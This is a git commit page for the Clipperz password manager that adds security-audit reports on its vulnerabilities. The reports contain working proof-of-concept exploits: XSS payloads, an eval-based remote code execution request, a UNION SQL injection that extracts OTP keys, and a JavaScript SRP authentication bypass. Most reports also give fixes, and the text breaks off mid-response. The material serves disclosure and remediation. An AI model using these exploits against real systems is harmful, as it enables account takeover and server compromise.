mirror of
				http://git.whoc.org.uk/git/password-manager.git
				synced 2025-11-04 04:57:35 +01:00 
			
		
		
		
	Merged Import and Export branches, implemented Giulio's remarks on Import feature
This commit is contained in:
		
							
								
								
									
										63
									
								
								doc/Vulnerabilities/CLP-01-001.txt
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										63
									
								
								doc/Vulnerabilities/CLP-01-001.txt
									
									
									
									
									
										Normal file
									
								
							@@ -0,0 +1,63 @@
 | 
				
			|||||||
 | 
					CLP-01-001 DOMXSS in Clipperz Bookmarklet via benign HTML Injection (Medium)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Insecure concatenation of HTML strings in the Clipperz bookmarklet core
 | 
				
			||||||
 | 
					lead to possibilities for an attacker, to turn a harmless injection on a
 | 
				
			||||||
 | 
					victim website into an XSS as soon as a user activates the bookmarklet.
 | 
				
			||||||
 | 
					The bookmarklet contains injectable code that allows arbitrary
 | 
				
			||||||
 | 
					JavaScript execution from a harmless injection as shown below:
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					PoC:
 | 
				
			||||||
 | 
					(run Clipperz Bookmarklet on this website)
 | 
				
			||||||
 | 
					<body>
 | 
				
			||||||
 | 
					<form action=''>
 | 
				
			||||||
 | 
					<input name='username' type='text'>
 | 
				
			||||||
 | 
					<input name='</textarea><img src=x onerror=alert(domain)>' type='password'>
 | 
				
			||||||
 | 
					</form>
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Affected HTML:
 | 
				
			||||||
 | 
					<textarea style="border:2px solid #333366; font-family:sans-serif;
 | 
				
			||||||
 | 
					font-size:8pt; color:#336; width:240px; height:135px; padding:4px;
 | 
				
			||||||
 | 
					background-color:white; margin:0px 10px;"
 | 
				
			||||||
 | 
					id="bookmarklet_textarea">{"page": {"title": ""},
 | 
				
			||||||
 | 
					"form": {"attributes": {"action": "http://0x0/Test/",
 | 
				
			||||||
 | 
					"method": null},
 | 
				
			||||||
 | 
					"inputs": [{"type": "text",
 | 
				
			||||||
 | 
					"name": "username",
 | 
				
			||||||
 | 
					"value": "root"},
 | 
				
			||||||
 | 
					{"type": "password",
 | 
				
			||||||
 | 
					"name": "</textarea><img onerror="alert(domain)" src="x">",
 | 
				
			||||||
 | 
					"value": "k4n0n3!?"}]},
 | 
				
			||||||
 | 
					"version": "0.2.3"}</div>
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Affected Code:
 | 
				
			||||||
 | 
					innerHTML+="<textarea id=\"bookmarklet_textarea\" style=\"border:2px
 | 
				
			||||||
 | 
					solid #333366; font-family:sans-serif; font-size:8pt; color:#336;
 | 
				
			||||||
 | 
					width:240px; height:135px; padding:4px; background-color:white;
 | 
				
			||||||
 | 
					margin:0px 10px;\">"+sj(someParameters)+"</textarea>";}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					...
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					sj=function(o){var
 | 
				
			||||||
 | 
					objtype=typeof(o);if(objtype=="number"||objtype=="boolean"){return
 | 
				
			||||||
 | 
					o+"";}else if(o===null){return"null";} if(objtype=="string"){return
 | 
				
			||||||
 | 
					rs(o);} var
 | 
				
			||||||
 | 
					me=arguments.callee;if(objtype!="function"&&typeof(o.length)=="number"){var
 | 
				
			||||||
 | 
					res=[];for(var i=0;i<o.length;i++){var
 | 
				
			||||||
 | 
					val=me(o[i]);if(typeof(val)!="string"){val="undefined";} res.push(val);}
 | 
				
			||||||
 | 
					return"["+res.join(",\n")+"]";}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					...
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					rs=function(o){return("\""+o.replace(/([\"\\])/g,"\\$1")+"\"").replace(/[\f]/g,"\\f").replace(/[\b]/g,"\\b").replace(/[\n]/g,"\\n").replace(/[\t]/g,"\\t").replace(/[\r]/g,"\\r");}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Any form of HTML, even content of HTML element attributes must be
 | 
				
			||||||
 | 
					considered an attack vector. Currently, Clipperz does a good job in
 | 
				
			||||||
 | 
					terms of encoding HTML element value attributes, yet other attribute
 | 
				
			||||||
 | 
					types are not escaped, encoded or filtered at all. This lead to the
 | 
				
			||||||
 | 
					identification of this and other bugs, specifically CLP-01-014 and
 | 
				
			||||||
 | 
					CLP-01-015.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					It needs to be made sure, that any form of user controlled data is being
 | 
				
			||||||
 | 
					processed safely before displaying the resulting data. HTML special
 | 
				
			||||||
 | 
					characters need to be encoded to their respected entity representation
 | 
				
			||||||
 | 
					before displaying them.
 | 
				
			||||||
							
								
								
									
										52
									
								
								doc/Vulnerabilities/CLP-01-002.txt
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										52
									
								
								doc/Vulnerabilities/CLP-01-002.txt
									
									
									
									
									
										Normal file
									
								
							@@ -0,0 +1,52 @@
 | 
				
			|||||||
 | 
					CLP-01-002 Remote Code Execution in PHP Backend (Critical)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					The PHP backend is vulnerable to Remote Code Execution attacks. In the
 | 
				
			||||||
 | 
					file setup/rpc.php, the name of a class can be specified in the
 | 
				
			||||||
 | 
					parameter objectname of which an object is later instantiated within an
 | 
				
			||||||
 | 
					eval() statement.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					$objectName = isset($_REQUEST['objectname']) ? $_REQUEST['objectname'] : '';
 | 
				
			||||||
 | 
					[...]
 | 
				
			||||||
 | 
					eval ('$instance = new '.$objectName.'();');
 | 
				
			||||||
 | 
					[...]
 | 
				
			||||||
 | 
					switch($action)
 | 
				
			||||||
 | 
					{
 | 
				
			||||||
 | 
					    case 'Add':
 | 
				
			||||||
 | 
					        eval ('$instance = new '.$objectName.'();');
 | 
				
			||||||
 | 
					[...]
 | 
				
			||||||
 | 
					    case 'Delete':
 | 
				
			||||||
 | 
					        eval ('$instance = new '.$objectName.'();');
 | 
				
			||||||
 | 
					[...]
 | 
				
			||||||
 | 
					    case 'Update':
 | 
				
			||||||
 | 
					        eval ('$instance = new '.$objectName.'();');
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					function RefreshTree($objectName, $root, $offset = '', $limit = '')
 | 
				
			||||||
 | 
					{
 | 
				
			||||||
 | 
					[...]
 | 
				
			||||||
 | 
					eval ('$instance = new '.$objectName.'();');
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					An attacker can add arbitrary PHP code to the objectname parameter that
 | 
				
			||||||
 | 
					is then executed on the web server. This allows to fully compromise the
 | 
				
			||||||
 | 
					web server and its data.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					/setup/rpc.php?objectname=stdClass();system(?whoami?);phpinfo
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Note that the setup routine can be protected by a password (empty by
 | 
				
			||||||
 | 
					default) but the affected file setup/rpc.php does not include the file
 | 
				
			||||||
 | 
					setup_library/authentication.php that performs the actual authentication
 | 
				
			||||||
 | 
					check. Thus, the attack can be executed by any user as long as the setup
 | 
				
			||||||
 | 
					directory exists.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					PHP allows to dynamically call methods and constructors without using
 | 
				
			||||||
 | 
					the eval() operator by using reflection. Here, no execution of arbitrary
 | 
				
			||||||
 | 
					PHP code is possible.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					$instance = new $objectName();
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					However, arbitrary constructors can be accessed that can lead to
 | 
				
			||||||
 | 
					unwanted behavior. Thus, the objectName parameter should be validated
 | 
				
			||||||
 | 
					against a whitelist which is already available in the $objects array
 | 
				
			||||||
 | 
					filled in line 28. Other names should be rejected by the application.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					if(!in_array($objectName, $objects))
 | 
				
			||||||
 | 
					    exit;
 | 
				
			||||||
							
								
								
									
										75
									
								
								doc/Vulnerabilities/CLP-01-003.txt
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										75
									
								
								doc/Vulnerabilities/CLP-01-003.txt
									
									
									
									
									
										Normal file
									
								
							@@ -0,0 +1,75 @@
 | 
				
			|||||||
 | 
					CLP-01-003 SQL Injection in PHP Backend (High)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					The PHP backend is vulnerable to SQL injection attacks. The method
 | 
				
			||||||
 | 
					GetList() of the object class user, record, recordversion,
 | 
				
			||||||
 | 
					onetimepasswordstatus, and onetimepassword does not sanitize its
 | 
				
			||||||
 | 
					parameters sufficiently before adding these to a dynamically constructed
 | 
				
			||||||
 | 
					SQL query. Affected are the $sortBy and $limit parameter.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					function GetList($fcv_array = array(), $sortBy='', $ascending=true,
 | 
				
			||||||
 | 
					$limit='') {
 | 
				
			||||||
 | 
					$sqlLimit = ($limit != '' ? "LIMIT $limit" : '');
 | 
				
			||||||
 | 
					$this->pog_query = "select * from `onetimepassword` ";
 | 
				
			||||||
 | 
					[...]
 | 
				
			||||||
 | 
					$this->pog_query .= " order by ".$sortBy." ".($ascending ? "asc" :
 | 
				
			||||||
 | 
					"desc")." $sqlLimit";
 | 
				
			||||||
 | 
					$cursor = Database::Reader($this->pog_query, $connection);
 | 
				
			||||||
 | 
					[...]
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					A vulnerable call of this method can be found in the function
 | 
				
			||||||
 | 
					RefreshTree() of the file setup/rpc.php. Its first parameter is passed
 | 
				
			||||||
 | 
					to the $sortBy parameter and the two last parameters are passed
 | 
				
			||||||
 | 
					concatenated to the $limit parameter of the vulnerable GetList() method.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					function RefreshTree($objectName, $root, $offset = '', $limit = '') {
 | 
				
			||||||
 | 
					     $sqlLimit = "$offset, $limit";
 | 
				
			||||||
 | 
					$instanceList = $instance->GetList(
 | 
				
			||||||
 | 
					array(array(strtolower($objectName)."Id",">",0)),
 | 
				
			||||||
 | 
					     strtolower($objectName)."Id",
 | 
				
			||||||
 | 
					false,
 | 
				
			||||||
 | 
					$sqlLimit
 | 
				
			||||||
 | 
					);
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					The function RefreshTree() is called with unsanitized parameters when
 | 
				
			||||||
 | 
					the GET parameter action is set to Refresh.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					$objectName = isset($_REQUEST['objectname']) ? $_REQUEST['objectname'] : '';
 | 
				
			||||||
 | 
					$limit = isset($_REQUEST['limit']) ? $_REQUEST['limit'] : '';
 | 
				
			||||||
 | 
					$offset = isset($_REQUEST['offset']) ? $_REQUEST['offset'] : '';
 | 
				
			||||||
 | 
					$action = $_GET['action'];
 | 
				
			||||||
 | 
					switch($action) {
 | 
				
			||||||
 | 
					case 'Refresh':
 | 
				
			||||||
 | 
					   RefreshTree($objectName, $root, $offset, $limit);
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					An attacker is able to extract arbitrary data from the database,
 | 
				
			||||||
 | 
					including user data and OTP keys.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					/setup/rpc.php?action=Refresh&objectname=user&offset=1&limit=1 union
 | 
				
			||||||
 | 
					select onetimepasswordid,userid,reference,key,key_checksum,data,7,8,9
 | 
				
			||||||
 | 
					from clipperz.onetimepassword
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					The construction of the WHERE clause from the parameter $fcv_array in
 | 
				
			||||||
 | 
					the GetList() method is also potentially affected by SQL injection.
 | 
				
			||||||
 | 
					Here, expected numeric values are added to the SQL query without
 | 
				
			||||||
 | 
					escaping or type-casting.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					if(isset($this->pog_attribute_type[$fcv_array[$i][0]]['db_attributes'])
 | 
				
			||||||
 | 
					&& $this->pog_attribute_type[$fcv_array[$i][0]]['db_attributes'][0] !=
 | 
				
			||||||
 | 
					'NUMERIC'
 | 
				
			||||||
 | 
					&& $this->pog_attribute_type[$fcv_array[$i][0]]['db_attributes'][0] !=
 | 
				
			||||||
 | 
					'SET') {
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
 | 
					else {
 | 
				
			||||||
 | 
					value = POG_Base::IsColumn($fcv_array[$i][2]) ? $fcv_array[$i][2] :
 | 
				
			||||||
 | 
					"'".$fcv_array[$i][2]."'";
 | 
				
			||||||
 | 
					$this->pog_query .= "`".$fcv_array[$i][0]."` ".$fcv_array[$i][1]." ".$value;
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Expected numeric values should be converted to integer before embedding
 | 
				
			||||||
 | 
					them into the SQL query. Otherwise, an attacker is able to break out of
 | 
				
			||||||
 | 
					the single quotes and inject her own SQL syntax. For more security it is
 | 
				
			||||||
 | 
					highly recommended to use prepared statements, as done in the Python and
 | 
				
			||||||
 | 
					Java backend.
 | 
				
			||||||
							
								
								
									
										69
									
								
								doc/Vulnerabilities/CLP-01-014.txt
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										69
									
								
								doc/Vulnerabilities/CLP-01-014.txt
									
									
									
									
									
										Normal file
									
								
							@@ -0,0 +1,69 @@
 | 
				
			|||||||
 | 
					CLP-01-014 Persistent XSS via Direct Login from Bookmarklet (Critical)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Caused by missing output filtering, an attacker can abuse the
 | 
				
			||||||
 | 
					Bookmarklet in combination with the creation of a new card of type
 | 
				
			||||||
 | 
					?Direct Login? to persistently infect a Clipperz account and get full
 | 
				
			||||||
 | 
					and transparent access to all data stored in the account including
 | 
				
			||||||
 | 
					passwords, keystrokes and other sensitive data.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Steps to Reproduce:
 | 
				
			||||||
 | 
					Navigate to a maliciously prepared Website
 | 
				
			||||||
 | 
					Use the Clipperz Bookmarklet
 | 
				
			||||||
 | 
					Copy the generated JSON to create a Card
 | 
				
			||||||
 | 
					Navigate to the Clipperz application
 | 
				
			||||||
 | 
					Create a new card of type ?Direct Login?
 | 
				
			||||||
 | 
					Paste the content and save (First XSS is triggerd)
 | 
				
			||||||
 | 
					Create the card (Second XSS is triggered)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Anytime the affected user navigates to the malicious card, the injected
 | 
				
			||||||
 | 
					JavaScript is executed. This thereby effectively ?trojanizes? the entire
 | 
				
			||||||
 | 
					Clipperz account and gives an attacker access to any of the stored cards
 | 
				
			||||||
 | 
					and related passwords in plaintext.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Example Markup for malicious page:
 | 
				
			||||||
 | 
					<body>
 | 
				
			||||||
 | 
					<form action=''>
 | 
				
			||||||
 | 
					<input name='username' type='text'>
 | 
				
			||||||
 | 
					<input name='password' type='password'>
 | 
				
			||||||
 | 
					<input name='"><img src=x onerror=alert(domain)>' value='bla'>
 | 
				
			||||||
 | 
					</form>
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Resulting JSON:
 | 
				
			||||||
 | 
					{"page": {"title": ""},
 | 
				
			||||||
 | 
					"form": {"attributes": {"action": "http://attacked/",
 | 
				
			||||||
 | 
					"method": null},
 | 
				
			||||||
 | 
					"inputs": [{"type": "text",
 | 
				
			||||||
 | 
					"name": "username",
 | 
				
			||||||
 | 
					"value": "root"},
 | 
				
			||||||
 | 
					{"type": "password",
 | 
				
			||||||
 | 
					"name": "password",
 | 
				
			||||||
 | 
					"value": ""},
 | 
				
			||||||
 | 
					{"type": "text",
 | 
				
			||||||
 | 
					"name": "\"><img src=x onerror=alert(domain)>",
 | 
				
			||||||
 | 
					"value": "bla"}]},
 | 
				
			||||||
 | 
					"version": "0.2.3"}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Affected Markup in Clipperz application:
 | 
				
			||||||
 | 
					<tr id="elgen-1630"><td
 | 
				
			||||||
 | 
					class="directLoginBindingLabelTD"><span>"><img src=x
 | 
				
			||||||
 | 
					onerror=alert(domain)></span></td><td
 | 
				
			||||||
 | 
					class="directLoginBindingValueTD"><div style="display: none;"
 | 
				
			||||||
 | 
					id="Clipperz_PM_Components_Panels_editModeBox_3947"><select
 | 
				
			||||||
 | 
					id="Clipperz_PM_Components_Panels_select_3948"><option
 | 
				
			||||||
 | 
					value="null">---</option><option
 | 
				
			||||||
 | 
					value="014ab7a3d138834f883b0742857cd906fd1902e5c42303348fa181eb568695c1">username</option><option
 | 
				
			||||||
 | 
					value="8e63b43adc66c2efb1ad9b61aa0e7184f12545eeb163ce076cbae05d5d6e0a45">password</option><option
 | 
				
			||||||
 | 
					value="01a2b7d792deb70d98ad5f1bb0b3afd89de20554ba606be2662531c20dd6fd48"
 | 
				
			||||||
 | 
					selected="true">"><img src=x
 | 
				
			||||||
 | 
					onerror=alert(domain)></option></select></div><div style="display:
 | 
				
			||||||
 | 
					block;" id="Clipperz_PM_Components_Panels_viewModeBox_3949"><span
 | 
				
			||||||
 | 
					id="Clipperz_PM_Components_Panels_viewValue_3950">"><img src="x"
 | 
				
			||||||
 | 
					onerror="alert(domain)"></span></div></td></tr>
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					It is highly recommended to escape and filter any output and consider
 | 
				
			||||||
 | 
					the pages to pull login data from to be an adversary as well. Especially
 | 
				
			||||||
 | 
					the content of the name field and other attributes of form elements
 | 
				
			||||||
 | 
					should not be considered trusted as they can contain malicious data -
 | 
				
			||||||
 | 
					similar to the form element?s value. All special HTML characters need to
 | 
				
			||||||
 | 
					be converted into their corresponding HTML entities before displaying
 | 
				
			||||||
 | 
					them to the user.
 | 
				
			||||||
							
								
								
									
										62
									
								
								doc/Vulnerabilities/CLP-01-015.txt
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										62
									
								
								doc/Vulnerabilities/CLP-01-015.txt
									
									
									
									
									
										Normal file
									
								
							@@ -0,0 +1,62 @@
 | 
				
			|||||||
 | 
					CLP-01-015 Persistent XSS on Index Page via Direct Login Favicon (Critical)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Similar to the issue described in CLP-01-014, a persistent XSS can be
 | 
				
			||||||
 | 
					triggered using the Direct Login feature. Clipperz attempts to load the
 | 
				
			||||||
 | 
					favicon of the linked website and display its URL inside the src
 | 
				
			||||||
 | 
					attribute of an IMG element. An attacker can cause the bookmarklet to
 | 
				
			||||||
 | 
					deliver a maliciously prepared URL that, in conjunction with the favicon
 | 
				
			||||||
 | 
					display, leads to an XSS attack.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Note that this attack is capable of executing arbitrary attacker
 | 
				
			||||||
 | 
					controlled JavaScript right after the victim logged in, because the
 | 
				
			||||||
 | 
					vulnerable element is being shown on the index page. It is further
 | 
				
			||||||
 | 
					possible to create a malicious page that will fill the bookmarklet?s
 | 
				
			||||||
 | 
					textarea with arbitrary content. The victim would have no way to detect
 | 
				
			||||||
 | 
					that something was injected and will willingly copy & paste it into the
 | 
				
			||||||
 | 
					clippers application?s card creator form.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Steps to reproduce:
 | 
				
			||||||
 | 
					Copy malicious JSON into card editor for ?Direct Login?
 | 
				
			||||||
 | 
					Create the card
 | 
				
			||||||
 | 
					Logout
 | 
				
			||||||
 | 
					Log in again
 | 
				
			||||||
 | 
					Attacker?s JavaScript executes
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Example JSON to inject the payload:
 | 
				
			||||||
 | 
					{"page": {"title": ""},
 | 
				
			||||||
 | 
					"form": {"attributes": {"action": "javascript://\"onload=alert(1)//",
 | 
				
			||||||
 | 
					"method": null},
 | 
				
			||||||
 | 
					"inputs": [{"type": "text",
 | 
				
			||||||
 | 
					"name": "username",
 | 
				
			||||||
 | 
					"value": ""},
 | 
				
			||||||
 | 
					{"type": "password",
 | 
				
			||||||
 | 
					"name": "password",
 | 
				
			||||||
 | 
					"value": ""}]},
 | 
				
			||||||
 | 
					"version": "0.2.3"}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Affected Markup in Clipperz application:
 | 
				
			||||||
 | 
					<img
 | 
				
			||||||
 | 
					id="6a103aa5ab36f0c34cebde816f468bfd9550ca5bbbce67470a0ec58ec7ea1a4b_faviconIMG"
 | 
				
			||||||
 | 
					src="data:application/octet-stream;charset=utf-8;base64,AAABAAEAFxcAAAEAGAD8BgAAFgAAACgAAAAXAAAALgAAAAEAGAAAAAAAAAAAABIXAAASFwAAAAAAAAAA...AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAo="
 | 
				
			||||||
 | 
					onload="alert(1)///favicon.ico""></td><td valign="top"><a
 | 
				
			||||||
 | 
					class="directLoginItemTitle">adadadsadsa</a></td><td align="right"
 | 
				
			||||||
 | 
					valign="top"><a
 | 
				
			||||||
 | 
					class="directLoginItemEditButton">show</a></td></tr></tbody></table></li><li
 | 
				
			||||||
 | 
					class=" "
 | 
				
			||||||
 | 
					id="a88d6fc245559afc38aee293fb59790233242dad2633ed61dcc110e2e61644c4"><table
 | 
				
			||||||
 | 
					border="0" cellpadding="0" cellspacing="0"><tbody><tr><td align="center"
 | 
				
			||||||
 | 
					valign="top" width="20"><img
 | 
				
			||||||
 | 
					id="a88d6fc245559afc38aee293fb59790233242dad2633ed61dcc110e2e61644c4_faviconIMG"
 | 
				
			||||||
 | 
					src="data:application/octet-stream;charset=utf-8;base64,AAABAAEAFxcAAAEAGAD8BgAAFgAAACgAAAAXAAAALgAAAAEAGAAAAAAAAAAAABIXAAASFwAAAAAAAAAA...AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAo="
 | 
				
			||||||
 | 
					onload="alert(1)///favicon.ico""></td><td valign="top"><a
 | 
				
			||||||
 | 
					class="directLoginItemTitle">unnamed record</a></td><td align="right"
 | 
				
			||||||
 | 
					valign="top"><a class="directLoginItemEditButton">show</a>
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					It must be ensured that any form of user controlled data is being
 | 
				
			||||||
 | 
					filtered and encoded properly. It has shown, that the JSON processing
 | 
				
			||||||
 | 
					for direct logins is a particularly vulnerable element of the Clipperz
 | 
				
			||||||
 | 
					application and deserves special attention. We believe, that the
 | 
				
			||||||
 | 
					bookmarklet is easily exposed to injection attacks and that the content
 | 
				
			||||||
 | 
					of the textarea for direct login data is a dangerous and easy to exploit
 | 
				
			||||||
 | 
					attack vector and needs to be treated as such by the Clipperz
 | 
				
			||||||
 | 
					application upon processing its data.
 | 
				
			||||||
							
								
								
									
										20
									
								
								doc/Vulnerabilities/CLP-01-016.txt
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										20
									
								
								doc/Vulnerabilities/CLP-01-016.txt
									
									
									
									
									
										Normal file
									
								
							@@ -0,0 +1,20 @@
 | 
				
			|||||||
 | 
					CLP-01-016 SRP implementation vulnerable to known attacks (High)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					The Clipperz application implements the Secure Remote Password protocol
 | 
				
			||||||
 | 
					for authentication. The implementation adheres to the original protocol
 | 
				
			||||||
 | 
					specification from 1998 and is not standardized. The third revision
 | 
				
			||||||
 | 
					(SRP-3) is described in RFC2459, and has since revised several times to
 | 
				
			||||||
 | 
					prevent against attacks. Two attacks, ?two-for-one? guessing attack and
 | 
				
			||||||
 | 
					message ordering attack, are detailed in the paper ?SRP-6 Improvements
 | 
				
			||||||
 | 
					and Refinements of the Secure Remote Password Protocol?. The latest
 | 
				
			||||||
 | 
					revision of the protocol SRP-6 is being standardized in IEEE P1363 and
 | 
				
			||||||
 | 
					ISO/IEC 11770-4.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Specifically, the implementation is missing the k value introduced in
 | 
				
			||||||
 | 
					SRP-6 to prevent the ?two-for-one? attack. The k value is used on the
 | 
				
			||||||
 | 
					server side to compute B=kv+gb and on the client side to compute
 | 
				
			||||||
 | 
					S=(B-kgx)(a+ux). Also, the exchange of messages follows the SRP-3
 | 
				
			||||||
 | 
					optimized ordering, not the standard or optimized message ordering of
 | 
				
			||||||
 | 
					SRP-6, which was introduced to prevent a message ordering attack. Note
 | 
				
			||||||
 | 
					also that the computation of M1=H(A | B | K) does not adhere to
 | 
				
			||||||
 | 
					M1=H(H(N) XOR H(g) | H(I) | s | A | B | K) as specified by the standard.
 | 
				
			||||||
							
								
								
									
										88
									
								
								doc/Vulnerabilities/CLP-01-017.txt
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										88
									
								
								doc/Vulnerabilities/CLP-01-017.txt
									
									
									
									
									
										Normal file
									
								
							@@ -0,0 +1,88 @@
 | 
				
			|||||||
 | 
					CLP-01-017 SRP Authentication Bypass (Critical)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					The Clipperz application implements the Secure Remote Password protocol
 | 
				
			||||||
 | 
					for authentication. The specification explicitly states that the
 | 
				
			||||||
 | 
					parameter A provided by the client must not be zero. The Clipperz
 | 
				
			||||||
 | 
					implementation omits this check, which makes password verification
 | 
				
			||||||
 | 
					trivial to bypass.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					According to the SRP-6 specification, the shared secret is on the server
 | 
				
			||||||
 | 
					side calculated as (Avu)b where A is supplied by the client. If A is
 | 
				
			||||||
 | 
					zero the result is also zero, and the resulting shared key is H(0). The
 | 
				
			||||||
 | 
					corresponding proof can easily be calculated by the attacker as H(0 | B
 | 
				
			||||||
 | 
					| H(0)). The following JavaScript function can be run in the console
 | 
				
			||||||
 | 
					when on the Clipperz login page. While the page itself is not updated,
 | 
				
			||||||
 | 
					the resulting JSON response clearly indicates a successful login.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					SRP authentication bypass PoC:
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					(function PoC(){
 | 
				
			||||||
 | 
					  function send(m,p){
 | 
				
			||||||
 | 
					    x=new XMLHttpRequest();
 | 
				
			||||||
 | 
					    x.open('post','/json',false);
 | 
				
			||||||
 | 
					    x.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
 | 
				
			||||||
 | 
					    x.send('method='+m+'¶meters='+urlEncode(JSON.stringify(p)));
 | 
				
			||||||
 | 
					    return JSON.parse(x.responseText);
 | 
				
			||||||
 | 
					  }
 | 
				
			||||||
 | 
					  r=send('knock',{"requestType":"CONNECT"});
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					  r=send('handshake',{"parameters":
 | 
				
			||||||
 | 
					   {"message":"connect",
 | 
				
			||||||
 | 
					    "version":"0.2",
 | 
				
			||||||
 | 
					    "parameters":
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					{"C":"97766a7e1814fa3042c48869a314f9bde76ab48a57fb1ee54e874aadb76544f6",
 | 
				
			||||||
 | 
					       "A":"0"}},
 | 
				
			||||||
 | 
					    "toll":new Clipperz.PM.Toll(r.toll).deferredPay().results[0]});
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					  B=new Clipperz.Crypto.BigInt(r.result.B,16).asString();
 | 
				
			||||||
 | 
					  S=new Clipperz.ByteArray("0")
 | 
				
			||||||
 | 
					  K=Clipperz.Crypto.SHA.sha_d256(S).toHexString().substring(2);
 | 
				
			||||||
 | 
					  M1=new Clipperz.ByteArray("0"+B+K)
 | 
				
			||||||
 | 
					  M1=Clipperz.Crypto.SHA.sha_d256(M1).toHexString().substring(2);
 | 
				
			||||||
 | 
					  return send('handshake',{"parameters":
 | 
				
			||||||
 | 
					    {"message":"credentialCheck",
 | 
				
			||||||
 | 
					     "version":"0.2",
 | 
				
			||||||
 | 
					     "parameters":{"M1":M1}},
 | 
				
			||||||
 | 
					     "toll":new Clipperz.PM.Toll(r.toll).deferredPay().results[0]});
 | 
				
			||||||
 | 
					})()
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Example JSON response:
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					{"result":
 | 
				
			||||||
 | 
					  {"subscription":
 | 
				
			||||||
 | 
					    {"fromDate":"Mon, 28 April 2014 13:20:56 UTC",
 | 
				
			||||||
 | 
					     "features":["OFFLINE_COPY","LIST_CARDS"],
 | 
				
			||||||
 | 
					     "toDate":"Mon, 01 January 4001 00:00:00 UTC",
 | 
				
			||||||
 | 
					     "type":"EARLY_ADOPTER"},
 | 
				
			||||||
 | 
					   "loginInfo":
 | 
				
			||||||
 | 
					     {"current":
 | 
				
			||||||
 | 
					       {"operatingSystem":"LINUX",
 | 
				
			||||||
 | 
					        "disconnectionType":"STILL_CONNECTED",
 | 
				
			||||||
 | 
					        "browser":"FIREFOX",
 | 
				
			||||||
 | 
					        "connectionType":"LOGIN",
 | 
				
			||||||
 | 
					        "date":"Tue, 06 May 2014 03:09:28 UTC",
 | 
				
			||||||
 | 
					        "country":"SE",
 | 
				
			||||||
 | 
					        "ip":"83.248.183.26"},
 | 
				
			||||||
 | 
					      "latest":
 | 
				
			||||||
 | 
					        {"operatingSystem":"LINUX",
 | 
				
			||||||
 | 
					         "disconnectionType":"SESSION_EXPIRED",
 | 
				
			||||||
 | 
					         "browser":"FIREFOX",
 | 
				
			||||||
 | 
					         "connectionType":"LOGIN",
 | 
				
			||||||
 | 
